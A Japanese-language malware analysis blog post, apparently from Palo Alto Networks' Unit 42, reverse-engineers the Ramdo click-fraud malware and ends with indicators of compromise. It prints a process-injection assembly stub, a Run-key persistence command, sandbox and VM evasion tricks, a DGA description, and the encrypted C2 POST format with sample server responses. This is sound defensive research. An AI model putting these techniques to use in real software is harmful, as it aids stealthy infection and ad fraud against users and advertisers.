This post is also available in: English (英語)
概要
Palo Alto Networksの脅威インテリジェンスチームUnit 42は本日、RamdoはWebサイトの「クリック」詐欺を働くマルウェア ファミリの感染を確認しました。
RamdoはWebサイトの「クリック」詐欺を働くマルウェア ファミリです。Ramdoマルウェアの活動は最初2013年後半に表面化し、それ以降主にエクスプロイト キットの利用により世界中のマシンに感染し続けてきました。本ブログ記事ではRamdoマルウェア自体の技術面に深く突っ込んでいきますので、このマルウェアがどのように機能し、アナリストが本件の脅威に対してどのようにリバース エンジニアリングを行うことができるかという技術について理解を深めることができます。
このリサーチはUnit 42とDell Secureworks Counter Threat Unitの共同で行いました。Ramdoの脅威に関する詳細については Dell Secureworks CTUが公開しているブログ記事をご参照ください。
本ブログ記事の残りの部分では、2016年1月22日に初めて姿を現した下記のサンプルについて取り上げます。
MD5: F0E64CC571590513D0DC8D37EA23D153
SHA1: 98D44A46E9DAD00748D0278C84B58CE36D5E8861
SHA256: B534D55F384F4A2F9F8762CCD360A7C5D3FBD9BA15B1671E4A3629EF69A4472B
Size: 163328 Bytes
ファイル タイプPE32実行可能(GUI) Intel 80386, MS Windows版
コンパイル: 2016-01-22 23:46:15
駆除されない状態で目撃されているRamdoのサンプルは大部分が単純なパッカーの利用により難読化されています。そのため、基礎をなすマルウェアを、難読化を解除した状態にして解析することを目的として、まずサンプルをアンパックします。
アンパック処理
RamdoマルウェアはDLLの内部に含まれています。パッカーによりこのDLLが実行可能なバイナリ内に難読化された状態で保存されることがよくあります。この実行可能バイナリは実行時にDLLの難読化を解除し、その後DLLをロードします。このサンプルのアンパック処理はVirtualAllocの呼び出しにブレークポイントを設定してから、新たに割り当てられたこのメモリ内の1バイトに書き込みハードウェア ブレークポイントするだけで済みます。
VirtualAllocの呼び出しを約2回行った後で、アンパック処理済みの実行可能ファイルがこのセクションに書き込まれているところが確認されます。この時点では、このメモリ セクションをディスクにダンプするだけのことです。
この時点でRamdo DLLはアンパック済みのものになり、後の解析で使用することができます。
Ramdo DLLの解析
アナリストがRamdo DLLのリバース エンジニアリングをしているとき、最初に出くわす問題のひとつとして、作成者が使った暗号化文字列とハッシュ関数があります。関数はPythonで表現すると下記のアルゴリズムを使用してハッシュ化されます。
このスクリプトはこうしたハッシュ関数の列挙を含むCヘッダー ファイルを生成します。なお、このスクリプトはWindowsマシンで実行する必要があります。
さらに、1バイトのXORキーを使って文字列が暗号化されます。下記のデータ構造を持つ大きな配列が使われます。
[WORD] XOR Key
[WORD] Length
[DWORD] Offset to Data
これは下記のスクリーンショットを見ればイメージしやすくなります。
このIDAPythonスクリプトを使ってこれらの暗号化済み文字列を解析して復号します。.なお、このスクリプトが機能するには先ほど述べたデータ構造の開始アドレスを設定する必要があります。
難読化済み関数と暗号化済み文字列の両者が元に戻った後ではRamdo DLLの解析が非常にしやすくなります。
このマルウェアはまず、自身がサンドボックス内で動作しているかどうかを判断します。これについては、Dell Secureworks CTUによって書かれたブログ記事で詳しく説明されています。サンドボックス内で動作していることを確認すると、無限ループに入ります。
続いて、次のレジストリ キーを使って被害者のマシンのGUIDを問い合わせます。
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid
この値に‘qK’という文字列が追加されます。このデータは最終的にRC4キーとして使用されます。続いて、マルウェアは次のレジストリ キーの読み取りを試みます。このキーが存在する場合、このデータと前述のキーをRC4アルゴリズムで復号化します。
HKCU\SOFTWARE\Adobe\Acrobat Reader\14.0\Globals\LastLoggedOnProvider
このレジストリ キーを使用して、Ramdoに対して自身をインストールするよう命令します。このレジストリ キーの値がゼロの場合、次の処理に進みます。そして次のレジストリ キーの読み取りを試みます。
HKCU\SOFTWARE\Adobe\Acrobat Reader\14.0\Globals\IconUnderline
このキーが存在しない場合、ゼロの値を使ってキーを設定します。このキーの値がゼロの場合、次の処理に進みます。
続いて、次のレジストリ キーをゼロに設定してツールヒントを無効にし、被害者のマシンにバルーン ツールヒントが表示されないようにします。
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\EnableBalloonTips
この設定を無効にすることで、マルウェアによってポップアップ通知が生成されなくなります。無効にしなかった場合は、ポップアップ通知が表示され、異変が起きていることを被害者に感付かれるおそれがあります。
Ramdoの処理中には、次のミューテックスが使用されます。
- Global\[machine GUID]qK-fffffffe
- Global\[machine GUID]qK-fffffffd
続いてRamdoは、それ自身(実行可能ドロッパー)を次の場所にコピーします。
%APPDATA%\Microsoft\btstack.dll
防御手段に発見されないよう、このファイルには変更されたタイムスタンプ データが付いています。
再起動にbtstack.dllが確実にロードされるようにするため、次のレジストリ キーが書き込まれます。
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BluetoothManage – rundll32.exe “%appdata%\Microsoft\btstack.dll”,init
この段階で、マルウェアは実行中のMicrosoft Windowsプロセスを1つ特定し、そのプロセスに関連する実行可能ファイルのパスを特定します。この実行可能ファイルが中断状態の新しいプロセスで起動され、プロセスの再開前に次のコードが挿入されます。
call $+5
pop eax
sub eax, 0FFFFFFE6h ; EAX contains Path to btstack.dll
mov ebx, 76C0F0F2h
push eax
call ebx ; LoadLibraryW
mov eax, 76C0C426h
push 0FFFFFFFFh
call eax ; Sleep
以前に書き込んだbtstack.dllでこのコードがロードされ、btstack.dllが正規のMicrosoft Windowsプロセスにマルウェアをロードします。これが成功したことがわかると、マルウェアは終了します。
マルウェアがすでに特定のMicrosoft Windowsプロセスで動作している場合は、続いて新しいスレッドを起動します。このスレッドはまず、前述のLasLoggedOnProviderレジストリ キーに、バイナリに格納されているRC4暗号化構成データを設定します。
ネットワーク アクティビティを実行する前に、Ramdoは仮想化環境内で動作しているかどうかを確認します。この仕組みについては、CTUのブログ記事で詳しく説明されています。仮想化環境で動作していることを確認すると、Ramdoはその後のドメイン名生成に使用されるシードを改変します。この結果、不正に生成されたドメイン名に接続されることになります。
続いてRamdoは簡単なHTTPリクエストを送信して、インターネットに接続中かどうかを判断します。次のリクエストにはuser-agentなどのHTTPヘッダーがない点に注目してください。
GET / HTTP/1.1
Host: www.google.com
このリクエスト要求をgoogle.comに送信する前に、RamdoはまずDNSレスポンスをチェックし、クエリでIPアドレスが2つ以上返されることを確認します。IPアドレスが1つしか返されない場合、マルウェアは実行フローを続行しません。代わりに、ネットワーク通信ループの次回の繰り返しまで待機します。
Ramdoは、インターネットに接続していると判断した場合、続いて、以下のアルゴリズムを使用してドメインを生成します。サンプル内には2つのシードがハードコードされています。2番目のシードは、20になるまで1つずつ増分し、マルウェアによって使用されるすべてのドメインを生成します。仮想環境が検出されない場合、3番目の値はゼロに設定されます。仮想環境が検出された場合、生成されたドメインは不適切です。
以下のIDAPythonスクリプトを使用することで、DGAアルゴリズムおよび使用されるシードを特定できます。その後、続いて、Ramdoが使用する20個の一連のドメインが生成されます。DGAアルゴリズム内でわずかな変更が行われている場合があるため、このスクリプトがRamdoのすべての亜種に対して機能する保証はないことに注意してください。以下のこのスクリプトからの出力例は、アナリストにどのような情報が提供されるのかを示しています。
ドメインが生成された後、マルウェアは以下のようなHTTPS POSTリクエストを行います。
POST / HTTP/1.1
Content-Length: 128
Host: qgwwyeeouiouwkya[.]org
Cache-Control: no-cache
[Encrypted Data]
上記のリクエストでは、データはRSAアルゴリズムを使用して暗号化されています。このデータの暗号化には、以下のBase64 エンコード済み公開鍵が使用されています。この鍵は、マイクロソフトが行った最初のRamdoの分析以降に変更されているため、時間の経過とともにRamdoが進化し続けていることを示していることに注意してください。
BgIAAACkAABSU0ExAAQAAAEAAQDJ9Nl4XvlyD9PmguEaeUt2auCZm2994
FcdY2aCGMuYvc71sqLkOyf3Q1Cp4q/s3CXgXr5ifomWiF4D22eWsEPqoI1RyZ
8LwYaCVD11WrwtoST4BPwMPARLvNJGvAKzcXpn1adDvprXsfGW1r3YeKP
w6KZLPdCfvLBl3U9xTJ8lrg==
暗号化されたデータは、以下の文字列を使用して書式化されています。
v=%d&w=%1d:%1d:%04d:%1d:%1d:%1d:%1d:%1d&b=%s&s=%d&k=%d&c=%d&x=%d&i=%d
以下の変数に、関連するデータが含まれています。
v: おそらくRamdoのバージョン
w: オペレーティング システム バージョン、ビルド番号、サービス バック、仮想化情報
b: "qK"が追加されたマシンGUID文字列
s: 静的値
k: ランダム値
c: 設定データ(ShowTabletKeyboardレジストリ キー)
x: DGAシード
i: 2番目のDGAシードの繰り返し
サーバ レスポンスは、以下の書式で始まります。
OK[k value from request]\r\n[command][data]
"k value from request"は、Ramdoによってリクエスト内で送信された復号化された"k" GETパラメーターです。サーバ レスポンスは、Ramdoからリクエスト内で送信された復号化された"b" GETパラメーターを使用してRC4方式で暗号化されています。
このコマンド値は、バイナリ形式で表した以下のいずれかになります。
1: LastLoggedOnUserレジストリ キーを更新します。
2: btstack.dll実行可能ファイルを更新します。
3: ShowTabletKeyboardレジストリ キーを更新します。
5: HangDetectおよびLastProgressレジストリ キーを更新します。
以下のC2レスポンスの例は、5のコマンドでのレスポンスを示しています。
00000000: 4F 4B 31 31 30 35 39 32 38 32 0D 0A 05 2F 30 38 OK11059282…/08
00000010: 2E 63 61 62 3B .cab;
Ramdoは、このキャビネット ファイルのダウンロードと抽出の両方を続行します。これには、Chromium Embedded Framework (CEF)のコピーが含まれています。このCEFは、マルウェアがクリック詐欺を実行するために使用されます。
マルウェアは、続いてC2サーバへのリクエストを実行します。サーバは、前述のものと同様の形式で応答します。以下に、C2レスポンスの例を示します。
0000 4f 4b 31 35 36 37 34 31 32 34 0d 0a 03 01 00 00 OK15674124……
0010 00 23 00 00 00 3c 00 00 00 05 00 00 00 06 00 00 .#…<……….
0020 00 73 65 61 72 63 68 2d 73 70 69 6e 6e 65 72 2e .search-spinner.
0030 63 6f 6d 3b 73 65 61 72 63 68 2d 66 69 63 74 69 com;search-ficti
0040 6f 6e 2e 63 6f 6d 00 4d 6f 7a 69 6c 6c 61 2f 35 on.com.Mozilla/5
0050 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 .0 (Windows NT 1
0060 30 2e 30 3b 20 57 4f 57 36 34 29 20 41 70 70 6c 0.0; WOW64) Appl
0070 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 eWebKit/537.36 (
0080 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b KHTML, like Geck
0090 6f 29 20 43 68 72 6f 6d 65 2f 34 31 2e 30 2e 32 o) Chrome/41.0.2
00a0 32 37 32 2e 31 31 38 20 53 61 66 61 72 69 2f 35 272.118 Safari/5
00b0 33 37 2e 33 36 20 4f 50 52 2f 32 38 2e 30 2e 31 37.36 OPR/28.0.1
00c0 37 35 30 2e 35 31 00 750.51.
このレスポンスは、マルウェアに、ナビゲートするいくつかのドメインだけでなく、これらのリクエストのためにCEFによって使用されるユーザーエージェントも提供します。
以前にダウンロードしたキャビネット ファイルを解凍すると、マルウェアは、以前に目撃されたのと同じ方法で、libcef.dllライブラリから一連の関数をロードします。つまり、マルウェアは静的な分析を阻止するためにCEF関数名のハッシュ化された表現を使用しています。
以下のCEF関数がマルウェアによってロードされます。
- cef_string_utf16_clear
- cef_string_utf16_set
- cef_string_utf16_cmp
- cef_string_utf8_to_utf16
- cef_string_utf8_clear
- cef_string_utf16_to_utf8
- cef_string_list_copy
- cef_string_userfree_utf16_free
- cef_shutdown
- cef_run_message_loop
- cef_quit_message_loop
- cef_currently_on
- cef_refresh_web_plugins
- cef_add_web_plugin_directory
- cef_api_hash
- cef_post_task
- cef_post_delayed_task
- cef_browser_host_create_browser
- cef_string_list_free
- cef_string_list_alloc
- cef_v8value_create_function
- cef_process_message_create
- cef_string_multimap_free
- cef_string_multimap_alloc
- cef_request_create
- cef_string_list_append
- cef_string_map_append
- cef_string_multimap_append
- cef_string_list_value
- cef_string_list_size
- cef_string_map_value
- cef_string_map_key
- cef_string_map_size
- cef_string_multimap_value
- cef_string_multimap_key
- cef_string_multimap_size
- cef_string_map_free
- cef_string_map_alloc
- cef_initialize
これらの一覧された関数は、その後、CEFブラウザによって使用され、以前に指示されたWebページへナビゲートします。特定のサイトへのリクエストを作成すると、CEFは返されたHTMLで検出されたすべてのリンクをクロールします。たとえば、‘search-spinner[.]com’というサイトの場合、Webページには‘2026531.adsdomain[.]org’のリンクがあり、これはさらに広告関連のWebページへ繋がります。
予測できるとおり、このマルウェアの配布者は、これらのリンクを自分が希望するどの広告生成URLへでも簡単に変更できます。これと動的リクエストの組み合わせによって表示する元のURL/ドメインのC2を手中に収め、マルウェア配布者は、それらのアクションを容易に変更して最大限の利益を得ることができます。
search-spinner[.]comや他のサイトで提供されるリンクは、ユーザーがそれにナビゲートするたびに変わって見え、攻撃者に更なる広告収入をもたらすとともに、単一のWebサイトが頻繁に閲覧されないようにしています。
結論
全般的に見て、Ramdoは非常に複雑または精巧なマルウェア ファミリではありません。それは、偽って特定の広告生成Webページへナビゲートすることで収益を生み出すという、1つの目的のみを考慮して作成されました。
そうは言っても、vmwareやvirtualboxの検出、google.com宛てに作成したリクエストのDNSレスポンスのチェックなど、サンドボックス環境または仮想環境で実行されるのを避けるために、さまざまな興味深いトリックが採用されています。非常に興味深い点は、マルウェアが仮想化環境内で実行されると、完全に実行を停止せず、代わりに、マルウェアの接続先の生成されたドメインを変更する点です。これは、このような環境内でサンプルが実行されていることを攻撃者に早期に警告するだけでなく、分析時に間違ったドメインを追跡するようにリサーチャーを導きます。
遠隔測定およびその全体的な脅威の状況を含め、Ramdoマルウェア ファミリの詳細については、当社がDell Secureworks CTUと共同で公開したブログ記事を参照してください。
Palo Alto Networksのお客様は、次の方法で脅威から保護されています。
- WildFireがすべてのサンプルを有害であると正しく検出
- Ramdoが使用するC2ドメインを有害としてマーク
- AutoFocusタグがRamdoサンプルを正しく検出
セキュリティ侵害の兆候
SHA256ハッシュ
Ramdoの最近のハッシュは、こちらで確認できます。
ドメイン
検出されたC2サーバの一覧は、こちらで確認できます。
レジストリ キー
HKCU\SOFTWARE\Adobe\Acrobat Reader\14.0\Globals\LastLoggedOnProvider
HKCU\SOFTWARE\Adobe\Acrobat Reader\14.0\Globals\IconUnderline
HKCU\SOFTWARE\Adobe\Acrobat Reader\14.0\Globals\HangDetect
HKCU\SOFTWARE\Adobe\Acrobat Reader\14.0\Globals\LastProgress
HKCU\SOFTWARE\Adobe\Acrobat Reader\14.0\Globals\ShowTabletKeyboard
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BluetoothManage
ファイルの変更
%APPDATA%\Microsoft\btstack.dll